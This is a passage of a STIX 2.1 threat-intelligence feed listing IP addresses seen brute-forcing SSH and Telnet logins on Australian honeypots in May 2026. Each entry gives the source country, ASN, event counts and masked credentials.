      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '61.218.132.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T15:15:13.000Z",
      "valid_until": "2026-06-19T15:15:08.000Z"
    },
    {
      "created": "2026-05-18T15:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UA. ASN(s): 59577. Organisation(s): LinkCom Networks LLC.",
      "id": "indicator--23f86ddd-9340-4dc6-a7f0-78ae58526a97",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T15:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '92.253.212.241']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T15:15:13.000Z",
      "valid_until": "2026-06-19T15:15:08.000Z"
    },
    {
      "created": "2026-05-18T16:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--e2d20c00-2ef3-4787-a1f4-786f79256138",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '122.234.81.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T16:15:13.000Z",
      "valid_until": "2026-06-19T16:15:08.000Z"
    },
    {
      "created": "2026-05-18T16:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 60729. Organisation(s): Stiftung Erneuerbare Freiheit. Usernames observed (masked): ***. Passwords observed (masked): I*************************t.",
      "id": "indicator--26732cfe-758c-40ba-9a84-52a7190c5d13",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.220.101.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T16:15:13.000Z",
      "valid_until": "2026-06-19T16:15:08.000Z"
    },
    {
      "created": "2026-05-18T16:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 13999. Organisation(s): Mega Cable, S.A. de C.V..",
      "id": "indicator--64626c32-d0ba-4c05-a701-c7b86cb394cd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.241.41.250']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T16:15:13.000Z",
      "valid_until": "2026-06-19T16:15:08.000Z"
    },
    {
      "created": "2026-05-18T16:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 40. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--4225ae74-ee19-4469-bdbb-964baf87e7c2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '203.101.186.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T16:15:13.000Z",
      "valid_until": "2026-06-19T16:15:08.000Z"
    },
    {
      "created": "2026-05-18T16:15:13.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22, 23. Source country: NL. ASN(s): 20473. Organisation(s): The Constant Company, LLC.",
      "id": "indicator--b8851fc8-4cb4-4063-917f-9f6e13251232",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '78.141.210.224']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T16:15:13.000Z",
      "valid_until": "2026-06-19T16:15:08.000Z"
    },
    {
      "created": "2026-05-18T17:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 151734. Organisation(s): WEBYNE DATA CENTRE PRIVATE LIMITED. Usernames observed (masked): r**t. Passwords observed (masked): s****y, t*******n.",
      "id": "indicator--632e2872-c7ab-41ec-b1fa-d82422c5aa70",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.180.212.135']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T17:15:11.000Z",
      "valid_until": "2026-06-19T17:15:08.000Z"
    },
    {
      "created": "2026-05-18T17:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 132. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--cb5abc22-773e-4717-9a4c-861a916a13ce",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '113.239.223.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T17:15:11.000Z",
      "valid_until": "2026-06-19T17:15:08.000Z"
    },
    {
      "created": "2026-05-18T17:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 82. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1****0, 3***********4, 3**********4, Q******!.",
      "id": "indicator--49edf3ad-ba3f-4070-9fc9-3cd9910a407d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '119.28.100.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T17:15:11.000Z",
      "valid_until": "2026-06-19T17:15:08.000Z"
    },
    {
      "created": "2026-05-18T17:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 88. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, c****3, c******3, j*****3.",
      "id": "indicator--3162bc97-86c8-4017-9a74-9c6701222584",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '124.156.196.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T17:15:11.000Z",
      "valid_until": "2026-06-19T17:15:08.000Z"
    },
    {
      "created": "2026-05-18T17:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t. Passwords observed (masked): 1****0, u****e, w**d.",
      "id": "indicator--8847f0bc-412f-4cfc-a7a7-0726d947483f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '129.226.81.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T17:15:11.000Z",
      "valid_until": "2026-06-19T17:15:08.000Z"
    },
    {
      "created": "2026-05-18T17:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--5a7be381-7aae-42d6-b9d5-87719aefb0dc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T17:15:11.000Z",
      "valid_until": "2026-06-19T17:15:08.000Z"
    },
    {
      "created": "2026-05-18T17:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398101. Organisation(s): GoDaddy.com, LLC.",
      "id": "indicator--d8a9d874-31fa-495e-8525-27b24bc1eea2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '166.62.124.255']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T17:15:11.000Z",
      "valid_until": "2026-06-19T17:15:08.000Z"
    },
    {
      "created": "2026-05-18T17:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 17. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AU. ASN(s): 63949. Organisation(s): Akamai Connected Cloud. Usernames observed (masked): r**t. Passwords observed (masked): 1****6, 1**************V.",
      "id": "indicator--96425a07-965b-4054-a4d7-d40db1bad1c8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '172.105.190.254']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T17:15:11.000Z",
      "valid_until": "2026-06-19T17:15:08.000Z"
    },
    {
      "created": "2026-05-18T17:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--71ee8636-d409-4d18-b51a-dfb4e17c2e5c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.199.94.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T17:15:11.000Z",
      "valid_until": "2026-06-19T17:15:08.000Z"
    },
    {
      "created": "2026-05-18T17:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): a****r, t*******t.",
      "id": "indicator--e587e3ed-b1b3-42f1-b35f-2b543c72414a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '209.38.69.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T17:15:11.000Z",
      "valid_until": "2026-06-19T17:15:08.000Z"
    },
    {
      "created": "2026-05-18T17:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--7f372378-b440-4124-a2d2-ca7bafd6becf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '218.0.216.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T17:15:11.000Z",
      "valid_until": "2026-06-19T17:15:08.000Z"
    },
    {
      "created": "2026-05-18T17:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 22. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 133774. Organisation(s): Fuzhou.",
      "id": "indicator--bcfd9c42-b938-4ed2-add9-491b2379ea8c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.155.92.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T17:15:11.000Z",
      "valid_until": "2026-06-19T17:15:08.000Z"
    },
    {
      "created": "2026-05-18T17:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 272122. Organisation(s): TELECOMUNICACIONES G-NETWORK, C.A..",
      "id": "indicator--95ea2ec0-ca5c-48b6-b293-9e0c8fcec78f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.17.154.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T17:15:11.000Z",
      "valid_until": "2026-06-19T17:15:08.000Z"
    },
    {
      "created": "2026-05-18T17:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t. Passwords observed (masked): i*****e, t*******n.",
      "id": "indicator--d91c2051-fae8-4dd3-b74f-b4fd8cc0eb2d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.134.175.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T17:15:11.000Z",
      "valid_until": "2026-06-19T17:15:08.000Z"
    },
    {
      "created": "2026-05-18T17:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 85. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1****1, 3***********4, 3**********4, Q******!.",
      "id": "indicator--cae093fa-f4f8-4e4d-a303-09acf1f6421c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.134.228.151']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T17:15:11.000Z",
      "valid_until": "2026-06-19T17:15:08.000Z"
    },
    {
      "created": "2026-05-18T17:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t. Passwords observed (masked): g*******e, z****d.",
      "id": "indicator--c2fb7106-1e2a-4214-b064-baa829ff3b5f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.156.34.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T17:15:11.000Z",
      "valid_until": "2026-06-19T17:15:08.000Z"
    },
    {
      "created": "2026-05-18T18:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 88. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1**w, 2**0, 3**********4, **, ***.",
      "id": "indicator--0214a529-c2e9-4a06-a8a0-83e9dcca06d8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T18:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '107.150.105.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T18:15:11.000Z",
      "valid_until": "2026-06-19T18:15:08.000Z"
    },
    {
      "created": "2026-05-18T18:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 26599. Organisation(s): TELEFONICA BRASIL S.A.",
      "id": "indicator--5782f44d-ee65-40ea-b024-5debfe9f0d4d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T18:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.116.30.166']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T18:15:11.000Z",
      "valid_until": "2026-06-19T18:15:08.000Z"
    },
    {
      "created": "2026-05-18T18:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 260. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36352. Organisation(s): HostPapa. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 0**5, 1**1, 1*******!.",
      "id": "indicator--57a7aae1-238b-46f8-8c98-56cb7e0732f4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T18:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.12.90.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T18:15:11.000Z",
      "valid_until": "2026-06-19T18:15:08.000Z"
    },
    {
      "created": "2026-05-18T18:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 184. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CH. ASN(s): 402253. Organisation(s): SKN Subnet & Telecom Ltd. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 0**5, 1*******!, 1****7, 1****7, 1**9.",
      "id": "indicator--c26fad27-8a42-4e18-aeb7-d91630519b13",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T18:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '209.99.189.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T18:15:11.000Z",
      "valid_until": "2026-06-19T18:15:08.000Z"
    },
    {
      "created": "2026-05-18T18:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--eeae701d-84e4-47fc-9a9f-8348e67cb14a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T18:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '213.199.54.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T18:15:11.000Z",
      "valid_until": "2026-06-19T18:15:08.000Z"
    },
    {
      "created": "2026-05-18T18:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 312. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 7713. Organisation(s): PT Telekomunikasi Indonesia. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1******9, 1**********#, 1**w.",
      "id": "indicator--3420af59-dfd7-46ff-bc55-66abc433144a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T18:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '36.95.221.140']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T18:15:11.000Z",
      "valid_until": "2026-06-19T18:15:08.000Z"
    },
    {
      "created": "2026-05-18T18:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16347. Organisation(s): ADISTA SAS.",
      "id": "indicator--ca7edaaa-a52b-4111-8895-a3aa80442f0c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T18:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '37.58.136.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T18:15:11.000Z",
      "valid_until": "2026-06-19T18:15:08.000Z"
    },
    {
      "created": "2026-05-18T18:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 172. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, u****u, 3**********4, a***n, d****y. Passwords observed (masked): !****3, 1********t, 1******C, 1*********t, 3***********4.",
      "id": "indicator--d5d6a59b-67b9-4ca1-a052-ed539899768f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T18:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.156.0.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T18:15:11.000Z",
      "valid_until": "2026-06-19T18:15:08.000Z"
    },
    {
      "created": "2026-05-18T18:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 242. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4, a***n, a****1, d****n. Passwords observed (masked): *, 3***********4, 3**********4, 0**1, 1****2.",
      "id": "indicator--fde9370f-7143-4fb3-aa23-c51e927ffe05",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T18:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.156.13.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T18:15:11.000Z",
      "valid_until": "2026-06-19T18:15:08.000Z"
    },
    {
      "created": "2026-05-18T18:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 318. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1**********#, 1**w, 2****9.",
      "id": "indicator--f864e026-da0d-49cd-bd6b-0d16a5f90be1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T18:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.163.108.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T18:15:11.000Z",
      "valid_until": "2026-06-19T18:15:08.000Z"
    },
    {
      "created": "2026-05-18T18:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 324. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1**********#, 1**w, 2****9.",
      "id": "indicator--b6d68108-0c59-4bcc-9752-9029f99be61c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T18:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.163.88.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T18:15:11.000Z",
      "valid_until": "2026-06-19T18:15:08.000Z"
    },
    {
      "created": "2026-05-18T18:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 140. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 215540. Organisation(s): Global Connectivity Solutions Llp. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 0**5, 1**1, 1*******!, 1****7, 1**9.",
      "id": "indicator--a14b209b-6996-4d48-b751-ee7fbfe3fb8b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T18:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.89.60.81']",
